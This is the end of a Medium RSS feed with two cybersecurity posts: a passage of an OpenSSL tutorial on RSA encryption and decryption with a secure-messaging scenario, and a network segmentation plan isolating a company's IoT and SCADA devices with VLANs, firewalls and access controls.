Message</strong>:</p><p>Use the public key to encrypt the message</p><p><em>openssl pkeyutl -encrypt -pubin -inkey public_key.pem -in message.txt -out encrypted_message.bin</em></p><h3>Explanation:</h3><ul><li><strong>openssl</strong>: Command-line tool for OpenSSL, used for cryptographic operations.</li><li><strong>pkeyutl</strong>: Utility for performing operations using public/private keys.</li><li><strong>-encrypt</strong>: Indicates that you are encrypting data.</li><li><strong>-pubin</strong>: Specifies that the input key is a public key.</li><li><strong>-inkey public_key.pem</strong>: The file containing the public key used for encryption.</li><li><strong>-in message.txt</strong>: The plaintext file containing the message you want to encrypt.</li><li><strong>-out encrypted_message.bin</strong>: The file where the encrypted message will be saved.</li></ul><h3>Step 4: Decrypt the Message Using the Private Key</h3><ol><li><strong>Decrypt the Encrypted Message</strong>:</li></ol><p>Use the private key to decrypt the message:</p><p><em>openssl pkeyutl -decrypt -inkey private_key.pem -in encrypted_message.bin -out decrypted_message.txt</em></p><p>it will prompt for a password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ARaSF8txYABb2x0FqVa_bg.png" /></figure><p><strong>2.View the Decrypted Message</strong>:</p><ul><li>To check if decryption was successful, view the content of decrypted_message</li></ul><p><em>cat decrypted_message.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6ovuB22MEHrZfz001JnEFA.png" /></figure><ul><li>Ensure that you have generated the private_key.pem and public_key.pem files correctly and that they are accessible in the current directory.</li><li>The data encrypted with RSA has limitations on size. For larger messages, consider using hybrid encryption (encrypting a message with a symmetric key and then encrypting that key with RSA).</li></ul><h3>Scenario: Secure Communication Between John and Jane</h3><h4>Here’s the revised scenario using John and Jane for secure communication:</h4><p>Scenario: Secure Communication Between John and Jane</p><p>Background<br>John and Jane want to communicate securely over the internet to exchange sensitive information, such as personal data or confidential business information. To achieve this, they will use asymmetric encryption to ensure that only the intended recipient can read the messages.</p><p>Step-by-Step Process</p><p>1.Key Generation:<br>John and Jane each generate a pair of cryptographic keys:<br> John generates his own public and private keys. He keeps his private key secure and shares his public key with Jane.<br> Jane does the same, generating her own public and private keys.</p><p>2. Public Key Exchange:<br>John sends his public key to Jane, and Jane sends her public key to John. This exchange can occur over an insecure channel since the public keys do not need to be kept secret.</p><p>3. Message Encryption:<br>When John wants to send a secure message to Jane, he follows these steps:<br>John writes his message(e.g., “Hello Jane, this is a secret message.”).<br>He encrypts the message using Jane’s public key with the following OpenSSL command:<br> <br> <em>openssl pkeyutl -encrypt -pubin -inkey jane_public_key.pem -in message.txt -out encrypted_message.bin</em><br> <br>The encrypted message is now secure, as it can only be decrypted with Jane’s private key.</p><p>4. Sending the Encrypted Message:<br>John sends the encrypted_message.bin file to Jane through an email or messaging service.</p><p>5. Message Decryption:<br> Upon receiving the encrypted message, Jane uses her private key to decrypt it:<br> <br><em> openssl pkeyutl -decrypt -inkey jane_private_key.pem -in encrypted_message.bin -out decrypted_message.txt</em><br> <br>Jane can now read the original message, which confirms that it came from John and remains confidential.</p><p>6. Acknowledgment and Response:<br>Jane can respond securely by encrypting her message with John’s public key, following the same steps as above. This ensures that only John can decrypt and read Jane’s response.</p><p>7. Securing the Connection with SSL/TLS:<br>For ongoing secure communication, John and Jane can also establish an SSL/TLS connection:<br>They can use an SSL/TLS protocol to create a secure channel over the internet.<br> This involves obtaining a digital certificate from a trusted Certificate Authority (CA) and using it to encrypt their communication session.<br>With this setup, any data sent during the session is encrypted, providing confidentiality and integrity.</p><p>Conclusion<br>Through the use of asymmetric encryption and SSL/TLS protocols, John and Jane ensure their communication remains private and secure from eavesdroppers. By leveraging public and private key pairs, they can confidently exchange sensitive information, knowing that only the intended recipient can access the messages. This scenario highlights the importance of cryptographic techniques in securing communications in today’s digital landscape.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ea1d5f204206" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberTech Solutions Network Segmentation Plan for IoT and SCADA Devices]]></title>
            <link>https://medium.com/@kiplagatkelvin034/cybertech-solutions-network-segmentation-plan-for-iot-and-scada-devices-c46c6e18b8a7?source=rss-b3bace61bccc------2</link>
            <guid isPermaLink="false">https://medium.com/p/c46c6e18b8a7</guid>
            <dc:creator><![CDATA[Kiplagatkelvin]]></dc:creator>
            <pubDate>Mon, 21 Oct 2024 08:14:28 GMT</pubDate>
            <atom:updated>2024-10-21T08:14:28.742Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CgaQCLLOd2Y3fqaUo69yZg.png" /></figure><p><strong>1. Introduction</strong></p><p>As IoT and SCADA devices become increasingly integral to modern businesses, they also introduce significant security risks. CyberTech Solutions must address the potential vulnerabilities posed by these devices. This network segmentation plan aims to mitigate the risk of IoT and SCADA devices being compromised and protect critical business systems by implementing a secure and isolated network architecture.</p><p><strong>2. Assessment of IoT and SCADA Risks</strong></p><p>CyberTech Solutions utilizes IoT and SCADA devices for operational efficiency and real-time data processing. However, these devices can be vulnerable to several risks, such as:</p><ul><li><strong>Unpatched firmware</strong>: Leaving devices exposed to known vulnerabilities.</li><li><strong>Insecure communication protocols</strong>: Use of non-encrypted or easily intercepted communication channels.</li><li><strong>Weak authentication</strong>: Many IoT and SCADA devices rely on default credentials or have inadequate authentication mechanisms.</li><li><strong>Lack of network isolation</strong>: IoT and SCADA devices are often on the same network as critical business systems, increasing the risk of lateral attacks.</li></ul><p>If compromised, these vulnerabilities could lead to unauthorized control of SCADA systems, operational disruption, data theft, or malware spread across critical business networks.</p><p><strong>3. Proposed Network Segmentation Plan</strong></p><p>To address these risks, we propose the following network architecture that isolates IoT and SCADA devices from the core business network. The segmentation will help ensure that if IoT or SCADA systems are compromised, attackers cannot gain access to sensitive business systems.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/381/1*JL4I6wMEVLFWqt4AjArayg.png" /></figure><p><strong>3.1 VLAN Architecture</strong></p><p>We recommend segregating IoT and SCADA devices into their own Virtual Local Area Networks (VLANs). Each VLAN will be dedicated to specific device groups:</p><ul><li><strong>VLAN 1</strong>: IoT devices</li><li><strong>VLAN 2</strong>: SCADA devices</li><li><strong>VLAN 3</strong>: Critical business systems</li></ul><p>The VLAN architecture will ensure that devices on different networks cannot communicate directly with one another, thus limiting the potential spread of malware or attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/0*SpTqX_zccGo4flPY" /></figure><p><strong>3.2 Firewalls and Access Controls</strong></p><p>To further isolate these networks, we will implement firewall rules that control and restrict traffic between the VLANs:</p><ul><li><strong>Internal Segmentation Firewall (ISFW)</strong>: This firewall will be positioned between the IoT, SCADA, and business system VLANs. It will block all unnecessary communication, only allowing specific traffic such as device updates, monitoring data, or authorized user access.</li><li><strong>Access Control Lists (ACLs)</strong>: These ACLs will be configured to ensure that only authorized devices and users can access the IoT and SCADA VLANs. Furthermore, only essential services and protocols, such as HTTPS for device communication, will be allowed between VLANs.</li></ul><p><strong>3.3 Network Access Control (NAC)</strong></p><p>NAC solutions will be deployed to prevent unauthorized devices from connecting to the IoT or SCADA VLANs. All devices will be subject to authentication and posture assessment, ensuring only compliant devices are permitted to connect.</p><p><strong>3.4 Role-Based Access Control (RBAC)</strong></p><p>To minimize insider threats, RBAC will be implemented to control user access. Only authorized personnel with specific roles will have access to IoT or SCADA systems. The RBAC policy will also enforce the principle of least privilege.</p><p><strong>4. Traffic Control and Monitoring</strong></p><p>Monitoring and controlling network traffic is crucial to maintaining security. The following strategies will be employed to manage traffic flow between VLANs and detect any potential threats:</p><ul><li><strong>Intrusion Detection and Prevention Systems (IDS/IPS)</strong>: IDS/IPS solutions will be deployed within the IoT and SCADA VLANs to detect any suspicious traffic or attempted breaches. These systems will alert security personnel to any anomalous activity.</li><li><strong>Logging and Auditing</strong>: Firewalls, switches, and other network devices will log all traffic between VLANs. These logs will be analyzed to detect patterns indicative of security issues.</li><li><strong>Regular Network Audits</strong>: Periodic network security audits will be conducted to ensure that segmentation and access controls are functioning as intended.</li></ul><p>The diagram below shows the real configuration setup of the IOT/SCADA</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*BtthIYF20NQUxNoaDC4o9A.png" /></figure><p><strong>5. Conclusion</strong></p><p>By isolating IoT and SCADA devices in dedicated VLANs, restricting their communication with critical business systems using firewalls, and employing robust monitoring and control measures, CyberTech Solutions can significantly reduce the risk of attacks originating from compromised IoT or SCADA devices. This network segmentation plan provides a comprehensive strategy to secure CyberTech’s network infrastructure and safeguard its operations.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c46c6e18b8a7" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>